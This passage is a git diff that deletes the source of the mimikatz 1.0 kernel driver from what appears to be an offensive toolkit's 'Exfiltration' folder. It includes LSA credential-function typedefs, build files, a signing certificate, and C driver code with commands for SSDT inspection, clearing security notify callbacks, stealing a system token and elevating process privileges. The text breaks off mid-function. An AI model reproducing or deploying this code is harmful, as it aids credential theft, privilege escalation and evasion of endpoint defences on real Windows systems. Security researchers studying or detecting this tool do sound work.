AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); -typedef BOOLEAN (WINAPI * PLSA_GET_CALL_INFO) (OUT PSECPKG_CALL_INFO Info); -typedef PVOID (WINAPI * PLSA_CREATE_SHARED_MEMORY) (ULONG MaxSize, ULONG InitialSize); -typedef PVOID (WINAPI * PLSA_ALLOCATE_SHARED_MEMORY) (PVOID SharedMem, ULONG Size); -typedef VOID (WINAPI * PLSA_FREE_SHARED_MEMORY) (PVOID SharedMem, PVOID Memory); -typedef BOOLEAN (WINAPI * PLSA_DELETE_SHARED_MEMORY) (PVOID SharedMem); -typedef NTSTATUS (WINAPI * PLSA_OPEN_SAM_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, BOOLEAN AllowGuest, ULONG Reserved, PVOID * UserHandle); -typedef NTSTATUS (WINAPI * PLSA_GET_USER_CREDENTIALS) (PVOID UserHandle, PVOID * PrimaryCreds, PULONG PrimaryCredsSize, PVOID * SupplementalCreds, PULONG SupplementalCredsSize); -typedef NTSTATUS (WINAPI * PLSA_GET_USER_AUTH_DATA) (PVOID UserHandle, PUCHAR * UserAuthData, PULONG UserAuthDataSize); -typedef NTSTATUS (WINAPI * PLSA_CLOSE_SAM_USER) (PVOID UserHandle); -typedef NTSTATUS (WINAPI * PLSA_GET_AUTH_DATA_FOR_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, PUCHAR * UserAuthData, PULONG UserAuthDataSize, PUNICODE_STRING UserFlatName); -typedef NTSTATUS (WINAPI * PLSA_CONVERT_AUTH_DATA_TO_TOKEN) (IN PVOID UserAuthData, IN ULONG UserAuthDataSize, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN PUNICODE_STRING AuthorityName, OUT PHANDLE Token, OUT PLUID LogonId, OUT PUNICODE_STRING AccountName, OUT PNTSTATUS SubStatus); -typedef NTSTATUS (WINAPI * PLSA_CRACK_SINGLE_NAME) (IN ULONG FormatOffered, IN BOOLEAN PerformAtGC, IN PUNICODE_STRING NameInput, IN PUNICODE_STRING Prefix OPTIONAL, IN ULONG RequestedFormat, OUT PUNICODE_STRING CrackedName, OUT PUNICODE_STRING DnsDomainName, OUT PULONG SubStatus); -typedef NTSTATUS (WINAPI * PLSA_AUDIT_ACCOUNT_LOGON) (IN ULONG AuditId, IN BOOLEAN Success, IN PUNICODE_STRING Source, IN PUNICODE_STRING ClientName, IN PUNICODE_STRING MappedName, IN NTSTATUS Status); -typedef NTSTATUS (WINAPI * PLSA_CLIENT_CALLBACK) (IN PCHAR Callback, IN ULONG_PTR Argument1, IN ULONG_PTR Argument2, IN PSecBuffer Input, OUT PSecBuffer Output); -typedef NTSTATUS (WINAPI * PLSA_REGISTER_CALLBACK) (ULONG CallbackId, PLSA_CALLBACK_FUNCTION Callback); -typedef NTSTATUS (WINAPI * PLSA_UPDATE_PRIMARY_CREDENTIALS) (IN PSECPKG_PRIMARY_CRED PrimaryCredentials, IN OPTIONAL PSECPKG_SUPPLEMENTAL_CRED_ARRAY Credentials); -typedef VOID (WINAPI * PLSA_PROTECT_MEMORY) (IN PVOID Buffer, IN ULONG BufferSize); -typedef NTSTATUS (WINAPI * PLSA_OPEN_TOKEN_BY_LOGON_ID) (IN PLUID LogonId, OUT HANDLE *RetTokenHandle); -typedef NTSTATUS (WINAPI * PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN) (IN PUCHAR UserAuthData, IN ULONG UserAuthDataSize, IN PVOID Reserved, OUT PUCHAR * ExpandedAuthData, OUT PULONG ExpandedAuthDataSize); - - - -#ifndef _ENCRYPTED_CREDENTIAL_DEFINED -#define _ENCRYPTED_CREDENTIAL_DEFINED - -typedef struct _ENCRYPTED_CREDENTIALW { - CREDENTIALW Cred; - ULONG ClearCredentialBlobSize; -} ENCRYPTED_CREDENTIALW, *PENCRYPTED_CREDENTIALW; -#endif // _ENCRYPTED_CREDENTIAL_DEFINED - -#define CREDP_FLAGS_IN_PROCESS 0x01 // Caller is in-process. Password data may be returned -#define CREDP_FLAGS_USE_MIDL_HEAP 0x02 // Allocated buffer should use MIDL_user_allocte -#define CREDP_FLAGS_DONT_CACHE_TI 0x04 // TargetInformation shouldn't be cached for CredGetTargetInfo -#define CREDP_FLAGS_CLEAR_PASSWORD 0x08 // Credential blob is passed in in-the-clear -#define CREDP_FLAGS_USER_ENCRYPTED_PASSWORD 0x10 // Credential blob is passed protected by RtlEncryptMemory -#define CREDP_FLAGS_TRUSTED_CALLER 0x20 // Caller is a trusted process (eg. logon process). - -typedef enum _CredParsedUserNameType -{ - parsedUsernameInvalid = 0, - parsedUsernameUpn, - parsedUsernameNt4Style, - parsedUsernameCertificate, - parsedUsernameNonQualified -} CredParsedUserNameType; - - -typedef NTSTATUS (NTAPI CredReadFn) (IN PLUID LogonId, IN ULONG CredFlags, IN LPWSTR TargetName, IN ULONG Type, IN ULONG Flags, OUT PENCRYPTED_CREDENTIALW *Credential); -typedef NTSTATUS (NTAPI CredReadDomainCredentialsFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PCREDENTIAL_TARGET_INFORMATIONW TargetInfo, IN ULONG Flags, OUT PULONG Count, OUT PENCRYPTED_CREDENTIALW **Credential); - -typedef VOID (NTAPI CredFreeCredentialsFn) (IN ULONG Count, IN PENCRYPTED_CREDENTIALW *Credentials OPTIONAL); -typedef NTSTATUS (NTAPI CredWriteFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PENCRYPTED_CREDENTIALW Credential, IN ULONG Flags); -typedef NTSTATUS (NTAPI CrediUnmarshalandDecodeStringFn)(IN LPWSTR MarshaledString, OUT LPBYTE *Blob, OUT ULONG *BlobSize, OUT BOOLEAN *IsFailureFatal); - -typedef struct _LSA_SECPKG_FUNCTION_TABLE { - PLSA_CREATE_LOGON_SESSION CreateLogonSession; - PLSA_DELETE_LOGON_SESSION DeleteLogonSession; - PLSA_ADD_CREDENTIAL AddCredential; - PLSA_GET_CREDENTIALS GetCredentials; - PLSA_DELETE_CREDENTIAL DeleteCredential; - PLSA_ALLOCATE_LSA_HEAP AllocateLsaHeap; - PLSA_FREE_LSA_HEAP FreeLsaHeap; - PLSA_ALLOCATE_CLIENT_BUFFER AllocateClientBuffer; - PLSA_FREE_CLIENT_BUFFER FreeClientBuffer; - PLSA_COPY_TO_CLIENT_BUFFER CopyToClientBuffer; - PLSA_COPY_FROM_CLIENT_BUFFER CopyFromClientBuffer; - PLSA_IMPERSONATE_CLIENT ImpersonateClient; - PLSA_UNLOAD_PACKAGE UnloadPackage; - PLSA_DUPLICATE_HANDLE DuplicateHandle; - PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS SaveSupplementalCredentials; - PLSA_CREATE_THREAD CreateThread; - PLSA_GET_CLIENT_INFO GetClientInfo; - PLSA_REGISTER_NOTIFICATION RegisterNotification; - PLSA_CANCEL_NOTIFICATION CancelNotification; - PLSA_MAP_BUFFER MapBuffer; - PLSA_CREATE_TOKEN CreateToken; - PLSA_AUDIT_LOGON AuditLogon; - PLSA_CALL_PACKAGE CallPackage; - PLSA_FREE_LSA_HEAP FreeReturnBuffer; - PLSA_GET_CALL_INFO GetCallInfo; - PLSA_CALL_PACKAGEEX CallPackageEx; - PLSA_CREATE_SHARED_MEMORY CreateSharedMemory; - PLSA_ALLOCATE_SHARED_MEMORY AllocateSharedMemory; - PLSA_FREE_SHARED_MEMORY FreeSharedMemory; - PLSA_DELETE_SHARED_MEMORY DeleteSharedMemory; - PLSA_OPEN_SAM_USER OpenSamUser; - PLSA_GET_USER_CREDENTIALS GetUserCredentials; - PLSA_GET_USER_AUTH_DATA GetUserAuthData; - PLSA_CLOSE_SAM_USER CloseSamUser; - PLSA_CONVERT_AUTH_DATA_TO_TOKEN ConvertAuthDataToToken; - PLSA_CLIENT_CALLBACK ClientCallback; - PLSA_UPDATE_PRIMARY_CREDENTIALS UpdateCredentials; - PLSA_GET_AUTH_DATA_FOR_USER GetAuthDataForUser; - PLSA_CRACK_SINGLE_NAME CrackSingleName; - PLSA_AUDIT_ACCOUNT_LOGON AuditAccountLogon; - PLSA_CALL_PACKAGE_PASSTHROUGH CallPackagePassthrough; - CredReadFn *CrediRead; - CredReadDomainCredentialsFn *CrediReadDomainCredentials; - CredFreeCredentialsFn *CrediFreeCredentials; - PLSA_PROTECT_MEMORY LsaProtectMemory; - PLSA_PROTECT_MEMORY LsaUnprotectMemory; - PLSA_OPEN_TOKEN_BY_LOGON_ID OpenTokenByLogonId; - PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN ExpandAuthDataForDomain; - PLSA_ALLOCATE_PRIVATE_HEAP AllocatePrivateHeap; - PLSA_FREE_PRIVATE_HEAP FreePrivateHeap; - PLSA_CREATE_TOKEN_EX CreateTokenEx; - CredWriteFn *CrediWrite; - CrediUnmarshalandDecodeStringFn *CrediUnmarshalandDecodeString; -} LSA_SECPKG_FUNCTION_TABLE, *PLSA_SECPKG_FUNCTION_TABLE; diff --git a/Exfiltration/mimikatz-1.0/driver/MAKEFILE b/Exfiltration/mimikatz-1.0/driver/MAKEFILE deleted file mode 100644 index 5acbbd24..00000000 --- a/Exfiltration/mimikatz-1.0/driver/MAKEFILE +++ /dev/null @@ -1 +0,0 @@ -!INCLUDE $(NTMAKEENV)\makefile.def diff --git a/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer b/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer deleted file mode 100644 index cdd37557..00000000 --- a/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer +++ /dev/null @@ -1,32 +0,0 @@ ------BEGIN CERTIFICATE----- -MIIFfzCCA2egAwIBAgIKYQt/awAAAAAAGTANBgkqhkiG9w0BAQUFADB/MQswCQYD -VQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEe -MBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSkwJwYDVQQDEyBNaWNyb3Nv -ZnQgQ29kZSBWZXJpZmljYXRpb24gUm9vdDAeFw0wNjA1MjMxNzAwNTFaFw0xNjA1 -MjMxNzEwNTFaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52 -LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxTaWduIFJvb3Qg -Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZjc6j40+Kfvvx -i4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6scTHAH -oT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4 -bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVt -bNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlw -R5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N89iFo7+ryUp9/ -k5DPAgMBAAGjggEjMIIBHzARBgNVHSAECjAIMAYGBFUdIAAwNgYJKwYBBAGCNxUH -BCkwJwYfKwYBBAGCNxUIjeDRiU6E15zDB4amhvscj9O/phUBGQIBbgIBADALBgNV -HQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUYHtmGkUNl8qJUC99 -BM00qP/8/UswHQYJKwYBBAGCNxQCBBAeDgBDAHIAbwBzAHMAQwBBMB8GA1UdIwQY -MBaAFGL7CiFbf0NuEdoJVFBr9dKWcfGeMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6 -Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvY3JsL3Byb2R1Y3RzL01pY3Jvc29mdENv -ZGVWZXJpZlJvb3QuY3JsMA0GCSqGSIb3DQEBBQUAA4ICAQATxWxeB388V/+bMV8/ -vZVUJcZ5+SwxA01kaUtW2VuXb3zz8NAkZXU4Y5gTcBYT96cB8cYj4IWGbAvwgJRa -deh85B6StHO/wbOnsAvTGITLzAmjXJxPPrA6nC0bxATvlzeWb+Xsuqxqs9TiPN+L -JeesvGJFMd2kCnLkG/h4QwHMujkU3l2Qrthaz17KRoFRM9WmDlhn09hmWIgWm+6x -GsqtkROEIdqabiDv2gB0KLrJX/NNXcPaJWklVOpEvMObKTMc1jyWH4eBxVPXKicz -1C4ZfAhYbdtOGZmp6l/zmp2MUTpaXL0vqQg1m1Sn2zUaUhYzNDqjgARq/bSDjK2Q -zww6ZZbsM04YJrhJu+uBkv8TTTJLI8cz57ZxaxX2nIDmvLdsvkHVAzpxMxUAUHQ7 -Dl35lqrtkD6rE0yAmSa8OKXrAjaJHbYgvoOrEPgZntdjedSusS9hNvlKS6gzxw5y -QfnxsZB+rkbv3jl7daBBFFkEHUK8R4i4Ew4F+h3wgI3/cMZ32EvcRg4jGnLVv97+ -qq5pWDz8XEbk1YGai25lWXcaMqWQprZkk2T9B1PJoN4orSpsxjjRgc6Y9UAZ6SwX -Q6QmX9NEMFPkHQK6pAovFt16YCdSQrutmDcol+S40nkR4xCMSNUwXQoMUt71iOqN -Gi1nyfSAFIS3hQzRZiilxm8kYQ== ------END CERTIFICATE----- diff --git a/Exfiltration/mimikatz-1.0/driver/SOURCES b/Exfiltration/mimikatz-1.0/driver/SOURCES deleted file mode 100644 index f544791a..00000000 --- a/Exfiltration/mimikatz-1.0/driver/SOURCES +++ /dev/null @@ -1,9 +0,0 @@ -TARGETNAME=mimikatz -TARGETPATH=OBJ -TARGETTYPE=DRIVER -SOURCES=mimikatz.c \ - mod_memory.c \ - processes.c minifilters.c fsfilters.c modules.c ssdt.c \ - notify_process.c notify_thread.c notify_image.c notify_reg.c notify_object.c - -TARGETLIBS= $(TARGETLIBS) $(IFSKIT_LIB_PATH)\fltmgr.lib $(BASEDIR)\lib\wlh\*\aux_klib.lib $(DDK_LIB_PATH)\ntstrsafe.lib diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.c b/Exfiltration/mimikatz-1.0/driver/fsfilters.c deleted file mode 100644 index fc807568..00000000 --- a/Exfiltration/mimikatz-1.0/driver/fsfilters.c +++ /dev/null @@ -1,35 +0,0 @@ -#include "fsfilters.h" - -NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status; - ULONG ActualNumberDriverObjects = 0; - PDRIVER_OBJECT * DriverObjectList = NULL; - - ULONG i; - - *ppszDestEnd = pszDest; - *pcbRemaining= cbDest; - - IoEnumerateRegisteredFiltersList(NULL, 0, &ActualNumberDriverObjects); - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kFiltersList - ActualNumberDriverObjects : %u\n\n", ActualNumberDriverObjects); - if(NT_SUCCESS(status)) - { - if(ActualNumberDriverObjects > 0) - { - DriverObjectList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, POOL_TAG); - if(DriverObjectList != NULL) - { - IoEnumerateRegisteredFiltersList(DriverObjectList, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, &ActualNumberDriverObjects); - for(i = 0; (i < ActualNumberDriverObjects) && NT_SUCCESS(status); i++) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName)); - //DbgPrint("[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName)); - ObDereferenceObject(DriverObjectList[i]); - } - ExFreePoolWithTag(DriverObjectList, POOL_TAG); - } - } - } - return status; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.h b/Exfiltration/mimikatz-1.0/driver/fsfilters.h deleted file mode 100644 index 9e82e9cf..00000000 --- a/Exfiltration/mimikatz-1.0/driver/fsfilters.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once -#include -#include "k_types.h" - -NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/k_types.h b/Exfiltration/mimikatz-1.0/driver/k_types.h deleted file mode 100644 index f82465fe..00000000 --- a/Exfiltration/mimikatz-1.0/driver/k_types.h +++ /dev/null @@ -1,49 +0,0 @@ -#pragma once -#include -#include - -#define MIN(a, b) (((a) < (b)) ? (a) : (b)) -#define MAX(a, b) (((a) > (b)) ? (a) : (b)) - -#ifndef KIWI_NameToFunc -#define KIWI_NameToFunc(Name, Function) if(taillFunc == sizeof(Name) - sizeof(WCHAR)) if(RtlCompareMemory(Name, buffer, taillFunc) == taillFunc) {*destFunc = Function; return STATUS_SUCCESS;} -#endif - -#ifndef KIWI_mask3bits -#define KIWI_mask3bits(addr) (((ULONG_PTR) (addr)) & ~7) -#endif - -#define POOL_TAG 'iwik' - -#define INDEX_UNK 0 -#define INDEX_XP 1 -#define INDEX_2K3 2 -#define INDEX_VISTA 3 -#define INDEX_2K8 4 -#define INDEX_7 5 -#define INDEX_2K8R2 6 -#define INDEX_8 7 -#define MAX_OS_LEN 8 - -#ifdef _M_IX86 -#define EX_FAST_REF_MASK 0x07 -#else -#define EX_FAST_REF_MASK 0x0f -#endif - -typedef NTSTATUS (* ptrLocalFunction) (LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); - -ULONG INDEX_OS; - -PDRIVER_OBJECT moi; - -typedef struct _SERVICE_DESCRIPTOR_TABLE { -#ifdef _M_IX86 - PVOID *ServiceTable; -#else - LONG *OffsetToService; -#endif - PULONG CounterTable; - ULONG TableSize; - PUCHAR ArgumentTable; -} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE; diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.c b/Exfiltration/mimikatz-1.0/driver/mimikatz.c deleted file mode 100644 index d109eacf..00000000 --- a/Exfiltration/mimikatz-1.0/driver/mimikatz.c +++ /dev/null @@ -1,193 +0,0 @@ -#include "mimikatz.h" - -ptrLocalFunction maFunc = NULL; - -NTSTATUS UnSupported(PDEVICE_OBJECT DeviceObject, PIRP Irp) -{ - return STATUS_NOT_SUPPORTED; -} - -NTSTATUS Write(PDEVICE_OBJECT DeviceObject, PIRP Irp) -{ - NTSTATUS status = STATUS_INVALID_PARAMETER; - PIO_STACK_LOCATION pIoStackIrp = NULL; - PWSTR params; - size_t tailleParams; - - pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); - if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp) - { - status = getLocalFuncFromName((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Write.Length, ¶ms, &tailleParams, &maFunc); - - if(NT_SUCCESS(status)) - { - Irp->IoStatus.Information = pIoStackIrp->Parameters.Write.Length; - } - } - IoCompleteRequest(Irp, IO_NO_INCREMENT); - Irp->IoStatus.Status = status; - - return status; -} - -NTSTATUS Read(PDEVICE_OBJECT DeviceObject, PIRP Irp) -{ - NTSTATUS status = STATUS_INVALID_HANDLE; - PIO_STACK_LOCATION pIoStackIrp = NULL; - - LPWSTR pszDestEnd; - size_t pcbRemaining; - - pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); - if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp) - { - if(maFunc) - { - status = maFunc((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Read.Length, &pszDestEnd, &pcbRemaining); - - if(NT_SUCCESS(status)) - { - Irp->IoStatus.Information = pIoStackIrp->Parameters.Read.Length - pcbRemaining; - } - } - else - { - status = STATUS_PROCEDURE_NOT_FOUND; - } - } - IoCompleteRequest(Irp, IO_NO_INCREMENT); - Irp->IoStatus.Status = status; - - return status; -} - -void DriverUnload(IN PDRIVER_OBJECT theDriverObject) -{ - UNICODE_STRING UStrDosDeviceName; - RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz"); - IoDeleteSymbolicLink(&UStrDosDeviceName); - IoDeleteDevice(theDriverObject->DeviceObject); -} - -NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) -{ - NTSTATUS status; - UNICODE_STRING UStrDriverName, UStrDosDeviceName; - PDEVICE_OBJECT pDeviceObject = NULL; - ULONG i; - - moi = theDriverObject; - RtlInitUnicodeString(&UStrDriverName, L"\\Device\\mimikatz"); - status = IoCreateDevice(theDriverObject, 0, &UStrDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject); - - if(NT_SUCCESS(status)) - { - INDEX_OS = getWindowsIndex(); - - for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) - theDriverObject->MajorFunction[i] = UnSupported; - - theDriverObject->MajorFunction[IRP_MJ_READ] = Read; - theDriverObject->MajorFunction[IRP_MJ_WRITE] = Write; - - theDriverObject->DriverUnload = DriverUnload; - - pDeviceObject->Flags |= DO_BUFFERED_IO; - pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; - - RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz"); - IoCreateSymbolicLink(&UStrDosDeviceName, &UStrDriverName); - } - - return status; -} - - -ULONG getWindowsIndex() -{ - switch(*NtBuildNumber) - { - case 2600: - return INDEX_XP; - break; - case 3790: - return INDEX_2K3; - break; - case 6000: - case 6001: - return INDEX_VISTA; - case 6002: - return INDEX_2K8; - break; - case 7600: - case 7601: - return INDEX_7; - break; - case 8102: - case 8250: - case 9200: - return INDEX_8; - break; - default: - return 0; - } -} - -NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc) -{ - NTSTATUS status; - size_t tailleChaine; - ULONG i; - ULONG taillFunc; - - status = RtlStringCbLengthW(buffer, taille, &tailleChaine); - if(NT_SUCCESS(status)) - { - for(i = 0; (i < tailleChaine / sizeof(WCHAR)) && (buffer[i] != L' '); i++); - - if( (i+1) < (tailleChaine / sizeof(WCHAR))) - { - *params = buffer + (i+1); - *tailleParams = (tailleChaine / sizeof(WCHAR)) - (i+1); // avoir !!! - DbgPrint("%u", *tailleParams); - } - else - { - *params = NULL; - *tailleParams = 0; - } - - *destFunc = NULL; - taillFunc = i*sizeof(WCHAR); - - - KIWI_NameToFunc(L"ping", kPing); - - if(INDEX_OS) - { - KIWI_NameToFunc(L"ssdt", kSSDT); - - KIWI_NameToFunc(L"listModules", kModulesList); - KIWI_NameToFunc(L"listFilters", kFiltersList); - KIWI_NameToFunc(L"listMinifilters", kMiniFiltersList); - - KIWI_NameToFunc(L"listNotifProcesses", kListNotifyProcesses); - KIWI_NameToFunc(L"listNotifThreads", kListNotifyThreads); - KIWI_NameToFunc(L"listNotifImages", kListNotifyImages); - KIWI_NameToFunc(L"listNotifRegistry", kListNotifyRegistry); - KIWI_NameToFunc(L"listNotifObjects", kListNotifyObjects); - KIWI_NameToFunc(L"clearNotifObjects", kClearNotifyObjects); - - KIWI_NameToFunc(L"listProcesses", listProcesses); - KIWI_NameToFunc(L"sysToken", sysToken); - KIWI_NameToFunc(L"privProcesses", privProcesses); - } - } - return status; -} - - -NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - return RtlStringCbPrintfExW(pszDest, cbDest, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"Pong (from ring 0 :)\n"); -} diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.h b/Exfiltration/mimikatz-1.0/driver/mimikatz.h deleted file mode 100644 index 3ece6e20..00000000 --- a/Exfiltration/mimikatz-1.0/driver/mimikatz.h +++ /dev/null @@ -1,26 +0,0 @@ -#pragma once - -#include "minifilters.h" -#include "fsfilters.h" -#include "modules.h" -#include "processes.h" -#include "ssdt.h" - -#include "notify.h" - -#include "k_types.h" - -#include - -extern PSHORT NtBuildNumber; -ULONG getWindowsIndex(); - -DRIVER_INITIALIZE DriverEntry; -DRIVER_UNLOAD DriverUnload; - -DRIVER_DISPATCH UnSupported; -__drv_dispatchType(IRP_MJ_READ) DRIVER_DISPATCH Read; -__drv_dispatchType(IRP_MJ_WRITE) DRIVER_DISPATCH Write; - -NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc); -NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.c b/Exfiltration/mimikatz-1.0/driver/minifilters.c deleted file mode 100644 index 90ba7efc..00000000 --- a/Exfiltration/mimikatz-1.0/driver/minifilters.c +++ /dev/null @@ -1,193 +0,0 @@ -#include "minifilters.h" - -const ULONG MF_OffSetTable[MAX_OS_LEN][MAX_MF_LEN] = -{ - /* INDEX_MF_CALLBACK_OFF, INDEX_MF_CALLBACK_PRE_OFF, INDEX_MF_CALLBACK_POST_OFF, INDEX_MF_VOLUME_NAME_OFF */ -#ifdef _M_IX86 -/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000}, -/* INDEX_XP */ {0x007c, 0x000c, 0x0010, 0x002c}, -/* INDEX_2K3 */ {0x007c, 0x000c, 0x0010, 0x002c}, -/* INDEX_VISTA */ {0x004c, 0x000c, 0x0010, 0x0030}, -/* INDEX_2K8 */ {0x004c, 0x000c, 0x0010, 0x0030}, -/* INDEX_7 */ {0x004c, 0x000c, 0x0010, 0x0030}, -/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas !*/ -/* INDEX_8 */ {0x004c, 0x000c, 0x0010, 0x0030} -#else -/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000}, -/* INDEX_XP */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 est 2003 x64 */ -/* INDEX_2K3 */ {0x00e8, 0x0018, 0x0020, 0x0048}, -/* INDEX_VISTA */ {0x0090, 0x0018, 0x0020, 0x0050}, -/* INDEX_2K8 */ {0x0090, 0x0018, 0x0020, 0x0050}, -/* INDEX_7 */ {0x0090, 0x0018, 0x0020, 0x0050}, -/* INDEX_2K8R2 */ {0x0090, 0x0018, 0x0020, 0x0050}, -/* INDEX_8 */ {0x0090, 0x0018, 0x0020, 0x0050} -#endif -}; - -const WCHAR *irpToName[] = { - L"CREATE", - L"CREATE_NAMED_PIPE", - L"CLOSE", - L"READ", - L"WRITE", - L"QUERY_INFORMATION", - L"SET_INFORMATION", - L"QUERY_EA", - L"SET_EA", - L"FLUSH_BUFFERS", - L"QUERY_VOLUME_INFORMATION", - L"SET_VOLUME_INFORMATION", - L"DIRECTORY_CONTROL", - L"FILE_SYSTEM_CONTROL", - L"DEVICE_CONTROL", - L"INTERNAL_DEVICE_CONTROL", - L"SHUTDOWN", - L"LOCK_CONTROL", - L"CLEANUP", - L"CREATE_MAILSLOT", - L"QUERY_SECURITY", - L"SET_SECURITY", - L"POWER", - L"SYSTEM_CONTROL", - L"DEVICE_CHANGE", - L"QUERY_QUOTA", - L"SET_QUOTA", - L"PNP", -}; - -NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status; - - ULONG i, j, k; - - ULONG NumberFiltersReturned = 0; - PFLT_FILTER *FilterList = NULL; - - ULONG BytesReturned = 0; - PFILTER_FULL_INFORMATION myFilterFullInformation = NULL; - - PFLT_INSTANCE *InstanceList = NULL; - ULONG NumberInstancesReturned = 0; - - PFLT_VOLUME RetVolume = NULL; - - PVOID monCallBack, preCallBack, postCallBack; - - *ppszDestEnd = pszDest; - *pcbRemaining= cbDest; - - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kMiniFiltersList\n\n"); - if(NT_SUCCESS(status)) - { - status = FltEnumerateFilters(NULL, 0, &NumberFiltersReturned); - if((status == STATUS_BUFFER_TOO_SMALL) && (NumberFiltersReturned > 0)) - { - FilterList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_FILTER) * NumberFiltersReturned, POOL_TAG); - if(FilterList != NULL) - { - status = FltEnumerateFilters(FilterList, sizeof(PFLT_FILTER) * NumberFiltersReturned, &NumberFiltersReturned); - for(i = 0; (i < NumberFiltersReturned) && NT_SUCCESS(status); i++) - { - status = FltGetFilterInformation(FilterList[i], FilterFullInformation, NULL, 0, &BytesReturned); - if((status == STATUS_BUFFER_TOO_SMALL) && (BytesReturned > 0)) - { - myFilterFullInformation = ExAllocatePoolWithTag(NonPagedPool, BytesReturned, POOL_TAG); - if(myFilterFullInformation != NULL) - { - status = FltGetFilterInformation(FilterList[i], FilterFullInformation, myFilterFullInformation, BytesReturned, &BytesReturned); - if(NT_SUCCESS(status)) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, 